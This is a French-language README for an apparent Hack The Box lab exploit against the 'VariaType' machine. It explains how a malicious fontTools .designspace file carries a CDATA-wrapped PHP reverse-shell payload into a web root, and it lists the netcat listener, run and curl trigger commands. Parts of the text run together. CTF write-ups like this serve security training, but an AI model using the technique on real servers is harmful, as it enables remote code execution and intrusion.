
Exploit pour la machine VariaType HTB exploitant une injection XML dans fontTools pour obtenir une RCE via une charge utile de reverse shell PHP dans les métadonnées .designspace.
Ce dépôt contient un exploit spécialisé pour la machine VariaType sur Hack The Box. L'exploit tire parti d'une vulnérabilité dans la manière dont la bibliothèque fontTools ou l'application web traite les fichiers XML .designspace et l'interpolation des métadonnées pour réaliser une exécution de code à distance (RCE).
La vulnérabilité réside dans le processus de génération de polices. En créant un fichier designspace malveillant, nous pouvons injecter une charge utile de shell inverse PHP dans les métadonnées de la police (notamment le champ <labelname>). Lorsque le serveur traite ces fichiers pour générer une police variable, il écrit la sortie dans un chemin défini par l'utilisateur, ce qui nous permet de déposer un shell .php dans la racine web.
source-light.ttf et source-regular.ttf à l'aide de fontTools.designspace malveillant avec une charge utile PHP encapsulée dans CDATA..php dans le répertoire public.Vous devez avoir Python 3 installé ainsi que les bibliothèques suivantes :
pip install fontTools requests
Sur votre machine locale (ou Pwnbox), démarrez un écouteur Netcat :
nc -lvnp 4444
Exécutez le script en fournissant votre IP VPN HTB et le port d'écoute :
python3 exploit.py --ip <VOTRE_IP> --port 4444
Si le téléchargement renvoie un 200 OK (ou parfois même un 500 si le traitement a lieu avant l'erreur), le script fournira le nom du fichier. Accédez-y via curl ou votre navigateur :
curl http://portal.variatype.htb/shell_xxxxxx.php
| Argument | Description | Défaut |
|---|---|---|
--ip | Votre IP d'écoute (VPN) | Requis |
--port | Votre port d'écoute | Requis |
--path | Chemin cible pour le shell | /var/www/portal.variatype.htb/public |
--url | Point de terminaison de téléchargement | http://variatype.htb/tools/.../process |
Ce script est destiné à des fins éducatives et à des tests de pénétration autorisés uniquement. Accéder ou attaquer des cibles sans autorisation préalable est illégal.
README.md dans le même dossier que votre script.exploit.py ou mettez à jour le nom du fichier dans les commandes ci-dessus.